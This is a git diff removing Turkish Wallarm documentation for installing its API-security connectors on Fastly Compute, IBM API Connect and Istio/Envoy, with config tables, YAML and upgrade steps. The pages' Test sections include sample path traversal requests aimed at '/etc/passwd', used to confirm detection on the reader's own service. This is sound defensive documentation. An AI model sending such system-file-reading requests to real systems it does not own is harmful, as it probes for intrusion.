**Create service** → **Use a local project** yoluna gidin ve Wallarm için bir örnek oluşturun. - - Oluşturulduktan sonra, üretilen `--service-id` değerini kopyalayın: - - ![](../../images/waf-installation/gateways/fastly/create-compute-service.png) -1. Wallarm paketini içeren yerel dizine gidin ve dağıtın: - - ``` - fastly compute deploy --service-id= --package=wallarm-api-security.tar.gz --token= - ``` - - Başarı mesajı: - - ``` - SUCCESS: Deployed package (service service_id, version 1) - ``` - - ??? warning "fastly.toml okunurken hata" - Aşağıdaki hatayı alırsanız: - - ``` - ✗ Verifying fastly.toml - - ERROR: error reading fastly.toml. - ``` - - `fastly compute publish` yerine sağlanan `fastly compute deploy` komutunu kullandığınızdan emin olun. - -### 3. Wallarm Node’un ve arka ucun hostlarını belirtin - -Analiz ve iletim için doğru trafik yönlendirmesi amacıyla, Fastly hizmeti yapılandırmasında Wallarm Node ve arka uç hostlarını tanımlamanız gerekir: - -1. **Fastly** UI → **Compute** → **Compute services** → Wallarm service → **Edit configuration** yoluna gidin. -1. **Origins** bölümüne gidin ve **Create hosts**: - - * Analiz için trafiği Wallarm node’una yönlendirmek üzere `wallarm-node` host’u olarak Wallarm node URL’sini ekleyin. - * Düğümden gelen trafiği kaynak arka ucunuza iletmek için arka uç adresinizi başka bir host (ör. `backend`) olarak ekleyin. - - ![](../../images/waf-installation/gateways/fastly/hosts.png) -1. Yeni hizmet sürümünü **Activate** edin. - -### 4. Wallarm config store oluşturun - -Wallarm’a özel ayarları tanımlayan `wallarm_config` yapılandırmasını oluşturun: - -1. **Fastly** UI → **Resources** → **Config stores** → **Create a config store** yoluna gidin ve aşağıdaki anahtar-değer öğeleriyle `wallarm_config` deposunu oluşturun: - - | Parametre | Açıklama | Gerekli mi? | - | --------- | -------- | ----------- | - | `WALLARM_BACKEND` | Compute hizmeti ayarlarında belirtilen Wallarm Node örneği için ana makine adı. | Evet | - | `ORIGIN_BACKEND` | Compute hizmeti ayarlarında belirtilen arka uç için ana makine adı. | Evet | - | `WALLARM_MODE_ASYNC` | Orijinal akışı etkilemeden trafiğin [kopya](../oob/overview.md) analizi (`true`) veya satır içi analiz (`false`, varsayılan). | Hayır | - - [Daha fazla parametre](fastly.md#configuration-options) -1. Config store’u Wallarm Compute hizmetine **Link** edin. - -![](../../images/waf-installation/gateways/fastly/config-store.png) - -!!! info "Birden çok hizmet için Config stores" - Wallarm için birden fazla Compute services çalıştırıyorsanız, aşağıdakilerden birini yapabilirsiniz: - - * Farklı yapılandırmalara sahip birden çok config store oluşturup her birini ilgili hizmete bağlayın. - * Aynı config store’u (örneğin, `wallarm_config`) birden çok hizmet arasında paylaşın. Tüm hizmetlerin aynı origin backend adını kullanması gerektiğini, ancak gerçek backend değerinin her hizmetin ayarlarında özelleştirilebileceğini unutmayın. - -### 5. (İsteğe bağlı) Özel bir engelleme sayfası ayarlayın - -Wallarm Node satır içi modda çalışırken ve saldırıları [engellediğinde](../../admin-en/configure-wallarm-mode.md), kötü amaçlı isteklere HTTP 403 durum kodları ile yanıt verir. Yanıtı özelleştirmek için, Fastly’de bir KV store kullanarak özel bir HTML engelleme sayfası yapılandırabilirsiniz: - -1. **Fastly** UI → **Resources** → **KV stores** → **Create a KV store** yoluna gidin ve `wallarm` adında bir store oluşturun. -1. `block_page.html` adında bir anahtar ekleyin ve özel HTML engelleme sayfanızı yükleyin. Bu sayfa, engellenen isteklere döndürülecektir. -1. KV store’u Wallarm Compute hizmetine **Link** edin. - -![](../../images/waf-installation/gateways/fastly/custom-block-page.png) - -??? info "Özel bir engelleme sayfası için Wallarm şablonunu göster" - Başlangıç noktası olarak, özel bir engelleme sayfası için aşağıdaki Wallarm tarafından sağlanan şablonu kullanabilirsiniz. Kullanıcılara göstermek istediğiniz bilgileri içerecek ve istediğiniz tasarımla eşleşecek şekilde gerektiği gibi uyarlayın: - - ```html - - - - - - - - You are blocked - - - - - - -
              - - -
              -
              - - - - - -
              Malicious activity blocked
              -
              Your request is blocked since it was identified as a malicious one.
              -
              -
              -
              Why it happened
              -
              - You might have used symbols similar to a malicious code sequence, or uploaded a specific file. -
              - -
              - -
              What to do
              -
              - If your request is considered to be legitimate, please contact us and provide your last action description and the following data: -
              - -
              - IP ${remote_addr}
              - Blocked on ${time_iso8601}
              - UUID ${request_id} -
              - - -
              -
              -
              -
              - - - ``` - -## Test - -Dağıtılan çözümün işlevselliğini test etmek için şu adımları izleyin: - -1. Wallarm Compute hizmeti alan adına test [Yol Geçişi (Path Traversal)][ptrav-attack-docs] saldırısı içeren isteği gönderin: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içinde açın ve saldırının listede görüntülendiğinden emin olun. - - ![Arayüzde saldırılar][attacks-in-ui-image] - - Wallarm Node modu [engelleme](../../admin-en/configure-wallarm-mode.md) olarak ayarlandıysa ve trafik in-line akıyorsa, istek de engellenecektir. - -## Yapılandırma seçenekleri - -Wallarm config store içinde aşağıdaki anahtar-değer öğelerini belirtebilirsiniz: - -| Parametre | Açıklama | Gerekli mi? | -| --------- | -------- | ----------- | -| `WALLARM_BACKEND` | Compute hizmeti ayarlarında belirtilen Wallarm Node örneği için ana makine adı. | Evet | -| `ORIGIN_BACKEND` | Compute hizmeti ayarlarında belirtilen arka uç için ana makine adı. | Evet | -| `WALLARM_MODE_ASYNC` | Orijinal akışı etkilemeden trafiğin [kopya](../oob/overview.md) analizi (`true`) veya satır içi analiz (`false`, varsayılan). | Hayır | -| `WALLARM_DEBUG` | Hata ayıklama bilgilerini tailing loglara yazar (`true`) veya devre dışı bırakır (`false`, varsayılan). | Hayır | -| `WALLARM_RESPONSE_BODY_SIZE_LIMIT` | Node’un ayrıştırıp analiz edebileceği yanıt gövdesi boyutu sınırı (bayt cinsinden). `none` (varsayılan) gibi sayısal olmayan değerler sınır olmadığı anlamına gelir. | Hayır | -| `ORIGIN_PASS_CACHE` | Fastly’nin önbellekleme katmanı atlanarak, origin backend’e gönderilen istekler için doğrudan iletme davranışını zorlar (`true`). Varsayılan olarak Fastly’nin önbellekleme katmanı kullanılır (`false`). | Hayır | -| `ORIGIN_PRESERVE_HOST` | `Host` başlığını origin backend’in ana makine adı ile `X-Forwarded-Host` başlığı üzerinden değiştirmek yerine istemci isteğindeki orijinal `Host` başlığını korur. Orijinal `Host`’a dayanan yönlendirme veya günlükleme yapan arka uçlar için yararlıdır. Varsayılan: `false`. | Hayır | -| `LOGGING_ENDPOINT` | Bağlayıcı için bir [logging endpoint](https://www.fastly.com/documentation/guides/integrations/logging/) ayarlar. Varsayılan: tailing loglar (stderr). | Hayır | - -## Fastly üzerindeki Wallarm Compute hizmetini yükseltme - -Dağıtılmış Fastly Compute hizmetini [daha yeni bir sürüme](code-bundle-inventory.md#fastly) yükseltmek için: - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle** bölümüne gidin ve güncellenmiş kod paketini indirin. - - Kendi barındırdığınız düğümü çalıştırıyorsanız, güncellenmiş kod paketini almak için sales@wallarm.com ile iletişime geçin. -1. Güncellenmiş `wallarm-api-security.tar.gz` Wallarm paket arşivinin bulunduğu dizine gidin ve şunu çalıştırın: - - ``` - fastly compute deploy --service-id= --package=wallarm-api-security.tar.gz --token= - ``` - - * ``: Dağıttığınız Wallarm hizmetinin kimliği. - * ``: Dağıtımda kullanılan Fastly API belirteci. -1. Fastly UI içinde yeni hizmet sürümünü **Activate** edin. - -Compute service yükseltmeleri, özellikle majör sürüm güncellemelerinde, bir Wallarm Node yükseltmesi gerektirebilir. Kendi barındırılan Node sürüm notları ve yükseltme talimatları için [Native Node değişiklik günlüğüne](../../updating-migrating/native-node/node-artifact-versions.md) veya [Edge bağlayıcı yükseltme prosedürüne](../security-edge/se-connector.md#upgrading-the-edge-node) bakın. Eskimeyi önlemek ve gelecekteki yükseltmeleri kolaylaştırmak için düzenli node güncellemeleri önerilir. \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/ibm-api-connect-for-wizard.md b/docs/latest-tr/installation/connectors/ibm-api-connect-for-wizard.md deleted file mode 100644 index eb0e285cf2..0000000000 --- a/docs/latest-tr/installation/connectors/ibm-api-connect-for-wizard.md +++ /dev/null @@ -1,119 +0,0 @@ -# Sihirbaz için IBM API Connect - -Wallarm Edge node, yönetilen API'lere ulaşmadan önce trafiği incelemek amacıyla IBM DataPower'ınıza [senkron](../inline/overview.md) modda bağlanabilir - hiçbir isteği engellemeden. - -Bağlantıyı kurmak için aşağıdaki adımları izleyin. - -**1. IBM API Connect içindeki API'lere Wallarm politikalarını uygulayın** - -1. Platformunuz için sağlanan kod paketini indirin. -1. İstek inceleme politikasını kaydedin: - - ``` - apic policies:create \ - --scope \ - --server \ - --org \ - --catalog \ - --configured-gateway-service \ - //wallarm-pre.zip - ``` -1. Yanıt inceleme politikasını kaydedin: - - ``` - apic policies:create \ - --scope \ - --server \ - --org \ - --catalog \ - --configured-gateway-service \ - //wallarm-post.zip - ``` - -Çoğu durumda, `configured-gateway-service` adı `datapower-api-gateway`'dir. - -**2. Wallarm inceleme adımlarını assembly işlem hattına entegre edin** - -API belirtiminizde, `x-ibm-configuration.assembly.execute` bölümünde, trafiği Wallarm Node üzerinden yönlendirmek için aşağıdaki adımları ekleyin veya güncelleyin: - -1. `invoke` adımından önce, gelen istekleri Wallarm Node'a aracılı yönlendirmek için `wallarm_pre` adımını ekleyin. -1. `invoke` adımının aşağıdaki gibi yapılandırıldığından emin olun: - - * `target-url`, `$(target-url)$(request.path)?$(request.query-string)` biçimini izlemelidir. Bu, isteklerin sorgu parametreleriyle birlikte orijinal backend yoluna aracılı olarak iletilmesini sağlar. - * `header-control` ve `parameter-control`, tüm başlıkların ve parametrelerin geçmesine izin verir. Bu, Wallarm Node'un isteğin tamamını analiz etmesini, herhangi bir bölümündeki saldırıları tespit etmesini ve API envanterini doğru biçimde oluşturmasını sağlar. -1. `invoke` adımından sonra, yanıtların inceleme için Wallarm Node'a aracılı olarak iletilmesi amacıyla `wallarm_post` adımını ekleyin. - -```yaml hl_lines="8-22" -... -x-ibm-configuration: - properties: - target-url: - value: - ... - assembly: - execute: - - wallarm_pre: - version: 1.0.1 - title: wallarm_pre - wallarmNodeAddress: - - invoke: - title: invoke - version: 2.0.0 - verb: keep - target-url: $(target-url)$(request.path)?$(request.query-string) - persistent-connection: true - - wallarm_post: - version: 1.0.1 - title: wallarm_post - wallarmNodeAddress: -... -``` - -**3. Güncellenmiş API ile ürününüzü yayınlayın** - -Trafik akışındaki değişiklikleri uygulamak için, değiştirilen API'yi içeren ürünü yeniden yayınlayın: - -``` -apic products:publish \ - --scope \ - --server \ - --org \ - --catalog \ - -``` - -[Daha fazla ayrıntı](ibm-api-connect.md) - - \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/ibm-api-connect.md b/docs/latest-tr/installation/connectors/ibm-api-connect.md deleted file mode 100644 index 6716f82089..0000000000 --- a/docs/latest-tr/installation/connectors/ibm-api-connect.md +++ /dev/null @@ -1,314 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/waf-installation/gateways/ibm/test-attack-ui.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# IBM API Connect için Wallarm Bağlayıcısı - -[IBM API Connect](https://www.ibm.com/products/api-connect), API’lerin oluşturulması, güvence altına alınması, yönetilmesi ve izlenmesi için araçlar içeren, API yaşam döngüsünün tamamını kapsayan bir çözümüdür. Wallarm, IBM API Connect üzerinden yönetilen API’leri korumak için API trafiğini inceleyip kötü amaçlı istekleri azaltarak bir bağlayıcı olarak kullanılabilir. - -Wallarm’ı IBM API Connect ile entegre etmek için, **Wallarm Node’u harici olarak dağıtın** ve **inceleme için IBM API Gateway’i trafiği Node’a proxy’leyecek şekilde yapılandırın**. - -IBM API Connect için Wallarm bağlayıcısı yalnızca [in-line](../inline/overview.md) trafik analizini destekler: - -![](../../images/waf-installation/gateways/ibm/ibm-traffic-flow-inline.png) - -!!! info "API belirtimiyle eşleşen istekler" - IBM API Connect davranışına göre, yalnızca tanımlı OpenAPI yollarıyla eşleşen istekler Wallarm Node tarafından incelenecektir. - -## Kullanım senaryoları - -Bu çözüm, IBM API Connect üzerinden yayımlanan API’lerin güvence altına alınması için önerilir. - -## Sınırlamalar - ---8<-- "../include/waf/installation/connectors/native-node-limitations.md" - -## Gereksinimler - -Dağıtıma devam etmeden önce aşağıdaki gereksinimleri karşıladığınızdan emin olun: - -* IBM API Connect ve IBM DataPower Gateway hakkında bilgi sahibi olmak. -* Çalışır durumda bir IBM API Connect ortamı (yerel veya bulut yönetimli). -* IBM API Connect içinde yayımlanmış bir API. -* Komut satırı etkileşimi için kurulmuş IBM API Toolkit (`apic` veya `apic-slim`). -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console’da **Administrator** rolüne sahip hesaba erişim. -* 0.13.x serisinde 0.13.3 veya üzeri, ya da 0.14.1 veya üzeri sürümde Wallarm Node. - -## Dağıtım - -### 1. Bir Wallarm Node’u dağıtın - -Wallarm Node, dağıtmanız gereken Wallarm platformunun çekirdek bileşenidir. Gelen trafiği inceler, kötü amaçlı etkinlikleri tespit eder ve tehditleri azaltacak şekilde yapılandırılabilir. - -İhtiyaç duyduğunuz kontrol seviyesine bağlı olarak Wallarm tarafından barındırılan ya da kendi altyapınızda barındırılan şekilde dağıtabilirsiniz. - -!!! info "Gerekli Wallarm Node sürümü" - IBM API Connect entegrasyonu, 0.13.x serisinde 0.13.3 veya üzeri ya da 0.14.1 veya üzeri Wallarm Node [sürümünü](../../updating-migrating/native-node/node-artifact-versions.md) gerektirir. Daha eski sürümler bu bağlayıcıyı desteklemez. - -=== "Edge node" - Bağlayıcı için Wallarm tarafından barındırılan bir Node dağıtmak üzere [talimatları](../security-edge/se-connector.md) izleyin. -=== "Kendi barındırılan Node" - Kendi barındırılan Node dağıtımı için bir yapıt seçin ve ekli talimatları izleyin: - - * Yalın metal veya sanal makinelerdeki Linux altyapıları için [All-in-one installer](../native-node/all-in-one.md) - * Konteyner tabanlı dağıtımlar kullanan ortamlar için [Docker image](../native-node/docker-image.md) - - * Kubernetes kullanan altyapılar için [Helm chart](../native-node/helm-chart.md) - -### 2. Wallarm ilkelerini edinin ve IBM API Connect içindeki API’lere uygulayın - -Wallarm, API Connect içindeki API’lere eklenebilen özel ilkeler sağlar. Bu ilkeler, API istek ve yanıtlarını inceleme ve tehdit tespiti için Wallarm Node üzerinden proxy’ler. - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle** yolunu izleyin ve platformunuz için bir code bundle indirin. - - Kendi barındırılan Node çalıştırıyorsanız, code bundle almak için sales@wallarm.com ile iletişime geçin. -1. İstek inceleme ilkesini kaydedin: - - ``` - apic policies:create \ - --scope \ - --server \ - --org \ - --catalog \ - --configured-gateway-service \ - //wallarm-pre.zip - ``` -1. Yanıt inceleme ilkesini kaydedin: - - ``` - apic policies:create \ - --scope \ - --server \ - --org \ - --catalog \ - --configured-gateway-service \ - //wallarm-post.zip - ``` - -Çoğu durumda `configured-gateway-service` adı `datapower-api-gateway`’dir. - -### 3. Wallarm inceleme adımlarını assembly işlem hattına entegre edin - -API belirtiminizde, `x-ibm-configuration.assembly.execute` bölümünde, trafiği Wallarm Node üzerinden yönlendirmek için aşağıdaki adımları ekleyin veya güncelleyin: - -1. `invoke` adımından önce, gelen istekleri Wallarm Node’a proxy’lemek için `wallarm_pre` adımını ekleyin. -1. `invoke` adımının aşağıdaki şekilde yapılandırıldığından emin olun: - - * `target-url` şu biçimi izlemelidir: `$(target-url)$(request.path)?$(request.query-string)`. Bu, isteklerin orijinal arka uç yoluna tüm sorgu parametreleriyle birlikte proxy’lenmesini sağlar. - * `header-control` ve `parameter-control` tüm başlık ve parametrelerin geçmesine izin verir. Bu, Wallarm Node’un tüm isteği analiz etmesine, isteğin herhangi bir bölümündeki saldırıları tespit etmesine ve API envanterini doğru biçimde oluşturmasına olanak tanır. -1. `invoke` adımından sonra, yanıtları inceleme için Wallarm Node’a proxy’lemek üzere `wallarm_post` adımını ekleyin. - -```yaml hl_lines="8-22" -... -x-ibm-configuration: - properties: - target-url: - value: - ... - assembly: - execute: - - wallarm_pre: - version: 1.0.1 - title: wallarm_pre - wallarmNodeAddress: - - invoke: - title: invoke - version: 2.0.0 - verb: keep - target-url: $(target-url)$(request.path)?$(request.query-string) - persistent-connection: true - - wallarm_post: - version: 1.0.1 - title: wallarm_post - wallarmNodeAddress: -... -``` - -Wallarm ilkelerinde desteklenen özellikler: - -| Parametre | Adım adı | Açıklama | Gerekli mi? | -| --------- | --------- | -------- | ----------- | -| `wallarmNodeAddress` | `wallarm_pre`, `wallarm_post` | Wallarm Node örneği URL’si. | Evet | -| `failSafeBlock` | `wallarm_pre`, `wallarm_post` | `true` (varsayılan) ise, Wallarm Node kullanılamaz olduğunda veya istek/yanıt iletiminde hata döndürdüğünde istek veya yanıtı engeller. | Hayır | - -### 4. Güncellenmiş API ile ürününüzü yayımlayın - -Trafik akışına yönelik değişiklikleri uygulamak için, değiştirilen API’yi içeren ürünü yeniden yayımlayın: - -``` -apic products:publish \ - --scope \ - --server \ - --org \ - --catalog \ - -``` - -## Örnek: Wallarm ilkeleriyle API ve ürün - -Bu örnek, assembly içine eklenmiş Wallarm istek ve yanıt inceleme adımlarını (`wallarm_pre`, `invoke`, `wallarm_post`) içeren temel bir API ve ürün yapılandırmasını gösterir. Wallarm Node üzerinden trafik incelemesini test etmek için dağıtabilirsiniz. - -* API belirtimi: - -```yaml -openapi: 3.0.3 -info: - title: Hello API - version: 1.0.0 - x-ibm-name: hello-api -servers: - - url: / -paths: - /hello: - get: - summary: Say Hello - responses: - '200': - description: OK - content: - text/plain: - schema: - type: string -x-ibm-configuration: - properties: - target-url: - value: https://httpbin.org - description: Filtreden geçen trafiğin proxy’lendiği yer - encoded: false - type: rest - phase: realized - enforced: true - testable: true - cors: - enabled: true - gateway: datapower-api-gateway - assembly: - execute: - - wallarm_pre: - version: 1.0.1 - title: wallarm_pre - wallarmNodeAddress: - - invoke: - title: invoke - version: 2.0.0 - verb: keep - target-url: $(target-url)$(request.path)?$(request.query-string) - persistent-connection: true - - wallarm_post: - version: 1.0.1 - title: wallarm_post - wallarmNodeAddress: - activity-log: - enabled: true - success-content: activity - error-content: payload -``` - -* Ürün belirtimi: - -```yaml -product: 1.0.0 -info: - name: hello-product - title: Hello Product - version: 1.0.0 - description: Hello API’yi sunan temel bir ürün -apis: - hello-api: - $ref: ./api.yaml -plans: - default: - title: Default Plan - description: Açık erişim planı - approval: false - rate-limit: - value: unlimited - apis: - hello-api: {} -visibility: - view: - enabled: true - type: public - subscribe: - enabled: true - type: authenticated -gateways: - - datapower-api-gateway -``` - -## Test - -Dağıtılan ilkelerin işlevselliğini test etmek için şu adımları izleyin: - -1. API’nize test [Path Traversal][ptrav-attack-docs] saldırısını içeren isteği gönderin: - - ``` - curl -k --request GET --url https://localhost:9444/ \ - --header 'X-IBM-Client-Id: ' \ - --header 'accept: /etc/passwd' - ``` - - IBM API Connect davranışına göre, yalnızca tanımlı OpenAPI yollarıyla eşleşen istekler Wallarm Node tarafından incelenecektir. - -1. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içinde açın ve saldırının listede göründüğünden emin olun. - - ![Arayüzde Attacks][attacks-in-ui-image] - - Wallarm node modu [engelleme](../../admin-en/configure-wallarm-mode.md) olarak ayarlanmışsa ve trafik in-line akıyorsa, istek ayrıca engellenecektir (ekran görüntüsü bu durumu göstermektedir). - -## İlkeleri yükseltme - -Dağıtılmış Wallarm ilkelerini [daha yeni bir sürüme](code-bundle-inventory.md#ibm-api-connect) yükseltmek için: - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle** üzerinden IBM için güncellenmiş Wallarm ilkelerini indirin. - - Kendi barındırılan Node çalıştırıyorsanız, güncellenmiş code bundle için sales@wallarm.com ile iletişime geçin. -1. Her bir ilkeyi `policies:create` komutunu kullanarak yeniden kaydedin ve güncellenmiş `.zip` dosyalarını belirtin: - - ``` - apic policies:create \ - --scope \ - --server \ - --org \ - --catalog \ - --configured-gateway-service \ - //wallarm-pre.zip - ``` -1. `wallarm-post.zip` için tekrarlayın. -1. API belirtiminizde, `x-ibm-configuration.assembly.execute` içinde ilke sürümlerini güncelleyin: - - ```yaml - ... - x-ibm-configuration: - ... - assembly: - execute: - - wallarm_pre: - version: - ... - - wallarm_post: - version: - ... - ``` - - Her iki ilke de aynı sürüm numarasını kullanır. -1. İlgili ürünü `products:publish` komutunu kullanarak yeniden yayımlayın. - - ``` - apic products:publish \ - --scope \ - --server \ - --org \ - --catalog \ - - ``` - -İlke yükseltmeleri, özellikle ana sürüm güncellemelerinde bir Wallarm Node yükseltmesi gerektirebilir. Kendi barındırılan Node sürüm notları ve yükseltme talimatları için [Native Node değişiklik günlüğüne](../../updating-migrating/native-node/node-artifact-versions.md) veya [Edge connector yükseltme prosedürüne](../security-edge/se-connector.md#upgrading-the-edge-node) bakın. Eskimeyi önlemek ve gelecekteki yükseltmeleri kolaylaştırmak için düzenli Node güncellemeleri önerilir. \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/istio-inline.md b/docs/latest-tr/installation/connectors/istio-inline.md deleted file mode 100644 index 8842bc3a0d..0000000000 --- a/docs/latest-tr/installation/connectors/istio-inline.md +++ /dev/null @@ -1,109 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-mode -[self-hosted-connector-node-helm-conf]: ../native-node/helm-chart-conf.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# Istio Ingress için Wallarm Filtresi - -Wallarm, Istio tarafından yönetilen API’leri güvence altına almak için trafiği [satır içi](../inline/overview.md) veya [bant dışı](../oob/overview.md) analiz eden bir filtre sağlar. Wallarm node’u harici olarak dağıtırsınız ve gRPC tabanlı external processing filtresi aracılığıyla analize yönelik trafiği Wallarm node’una yönlendirmek için Envoy ayarlarında Wallarm tarafından sağlanan yapılandırmayı uygularsınız. - -!!! info "OOB modu (aynalanmış trafik)" - `observability_mode` Envoy parametresini [burada](https://www.envoyproxy.io/docs/envoy/latest/api-v3/extensions/filters/http/ext_proc/v3/ext_proc.proto#envoy-v3-api-msg-extensions-filters-http-ext-proc-v3-externalprocessor) açıklandığı şekilde ayarlayarak Wallarm filtresini [bant dışı (OOB)](../oob/overview.md) trafik analizi için de kullanabilirsiniz. - -## Kullanım senaryoları - -Bu, Envoy proxy ile çalışan ve Istio tarafından yönetilen API’leri gerçek zamanlı olarak güvenceye almak için en uygun seçimdir. - -## Sınırlamalar - ---8<-- "../include/waf/installation/connectors/native-node-limitations.md" - -## Gereksinimler - -Dağıtıma devam edebilmek için aşağıdaki gereksinimleri karşıladığınızdan emin olun: - -* Istio teknolojilerine hakimiyet -* API trafiğini yöneten Envoy proxy ile Istio - -## Dağıtım - -### 1. Bir Wallarm Node dağıtın - -Wallarm node’u, dağıtmanız gereken Wallarm platformunun temel bileşenidir. Gelen trafiği inceler, kötü amaçlı aktiviteleri tespit eder ve tehditleri azaltacak şekilde yapılandırılabilir. - -Self-hosted node dağıtımı için bir yapıt seçin ve `envoy-external-filter` modu için ekli talimatları izleyin: - -* Bare metal veya VM’lerde Linux altyapıları için [Hepsi-bir-arada yükleyici](../native-node/all-in-one.md) -* Container tabanlı dağıtımlar kullanan ortamlar için [Docker image](../native-node/docker-image.md) -* AWS altyapıları için [AWS AMI](../native-node/aws-ami.md) -* Kubernetes kullanan altyapılar için [Helm chart](../native-node/helm-chart.md) - -### 2. Envoy’u trafiği Wallarm node’una proxy’lemek için yapılandırın - -1. `envoy.yaml` → `http_filters` bölümünüzde, istek ve yanıtları analiz için harici Wallarm Node’a gönderecek external processing filtresini yapılandırın. Bunun için aşağıdaki şablonu kullanın: - - ```yaml - ... - - http_filters: - - name: ext_proc - typed_config: - "@type": type.googleapis.com/envoy.extensions.filters.http.ext_proc.v3.ExternalProcessor - grpc_service: - envoy_grpc: - cluster_name: wallarm_cluster - processing_mode: - request_body_mode: STREAMED - response_body_mode: STREAMED - request_attributes: ["request.id", "request.time", "source.address"] - ``` -1. `envoy.yaml` → `clusters` bölümünüzde, verileri Wallarm Node’a iletmek için kullanılan Wallarm kümesini yapılandırın. Bunun için aşağıdaki şablonu kullanın: - - ```yaml - clusters: - - ... - - name: wallarm_cluster - connect_timeout: 30s - load_assignment: - cluster_name: wallarm_cluster - endpoints: # Wallarm Node'un uç noktası - - lb_endpoints: - - endpoint: - address: - socket_address: - address: 127.0.0.1 - port_value: 5080 - http2_protocol_options: {} # http2'yi etkinleştirmek için ayarlanmalıdır - transport_socket: - name: envoy.transport_sockets.tls - typed_config: - "@type": type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.UpstreamTlsContext - common_tls_context: - validation_context: - trusted_ca: - filename: /path/to/node-ca.pem # Node örneği tarafından kullanılan sertifikayı veren CA - ``` - -!!! info "Olası 500 hatalarından kaçınma" - Harici filtrede sorunlar oluştuğunda olası 500 hatalarından kaçınmak için yapılandırmaya [`failure_mode_allow`](https://www.envoyproxy.io/docs/envoy/latest/api-v3/extensions/filters/http/ext_proc/v3/ext_proc.proto) parametresini ekleyebilirsiniz. - -## Test - -Dağıtılan filtrenin işlevselliğini test etmek için şu adımları izleyin: - -1. Istio Gateway’e test amaçlı [Yol Geçişi][ptrav-attack-docs] saldırısı içeren isteği gönderin: - - ``` - curl https:///etc/passwd - ``` -1. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) üzerinde açın ve saldırının listede görüntülendiğinden emin olun. - - ![Arayüzdeki Attacks][attacks-in-ui-image] \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/istio.md b/docs/latest-tr/installation/connectors/istio.md deleted file mode 100644 index dbf7fd27f8..0000000000 --- a/docs/latest-tr/installation/connectors/istio.md +++ /dev/null @@ -1,147 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-mode -[self-hosted-connector-node-helm-conf]: ../native-node/helm-chart-conf.md - -# Istio Ingress için Wallarm Connector (Bant Dışı) - -Wallarm, trafiği [bant dışı (OOB)](../oob/overview.md) olarak analiz etmek üzere Istio tarafından yönetilen API’leri korumak için bir connector sağlar. Wallarm node’larını [Istio’nun](https://istio.io/) Envoy proxy’lerinin yanında dağıtarak, connector gelen trafiği yansıtır ve trafiği kesintiye uğratmadan akışın sürmesine izin verirken analize eşzamanlı olmayan şekilde gönderir. - -Entegrasyon, trafiğin yansıtılması ve Wallarm node’u ile iletişimi yönetmek için Envoy proxy içerisinde dağıtılan bir Lua eklentisine dayanır. - -![Wallarm eklentisi ile Istio](../../images/waf-installation/gateways/istio/traffic-flow-oob.png) - -## Kullanım senaryoları - -Gerçek zamanlı trafik analizi gereksiz olduğunda ve eşzamanlı olmayan analiz yeterli olduğunda bu çözüm önerilir. - -Kubernetes’te Envoy proxy ile çalışan, Istio tarafından yönetilen API’leri korumak için en uygun seçenektir. - -## Sınırlamalar - -Bu kurulum, Wallarm’ı yalnızca Wallarm Console UI üzerinden ince ayar yapmanıza izin verir. Dosya tabanlı yapılandırma gerektiren bazı Wallarm özellikleri bu uygulamada desteklenmez, örneğin: - -* [Çok kiracılılık özelliği][multitenancy-overview] -* [Uygulama yapılandırması][applications-docs] -* [Özel engelleme sayfası ve kod kurulumu][custom-blocking-page-docs] - -## Gereksinimler - -Dağıtıma devam etmek için aşağıdaki gereksinimleri karşıladığınızdan emin olun: - -* Kubernetes kümenizde API trafiğini yöneten Envoy proxy ile Istio -* [Helm v3](https://helm.sh/) paket yöneticisi -* `https://us1.api.wallarm.com` (US Wallarm Cloud) veya `https://api.wallarm.com` (EU Wallarm Cloud) erişimi -* Wallarm Helm chart’ını eklemek için `https://charts.wallarm.com` erişimi -* Docker Hub üzerindeki Wallarm depolarına `https://hub.docker.com/r/wallarm` erişimi -* Saldırı tespit kurallarının güncellemelerini indirmek ve [allowlist, denylist 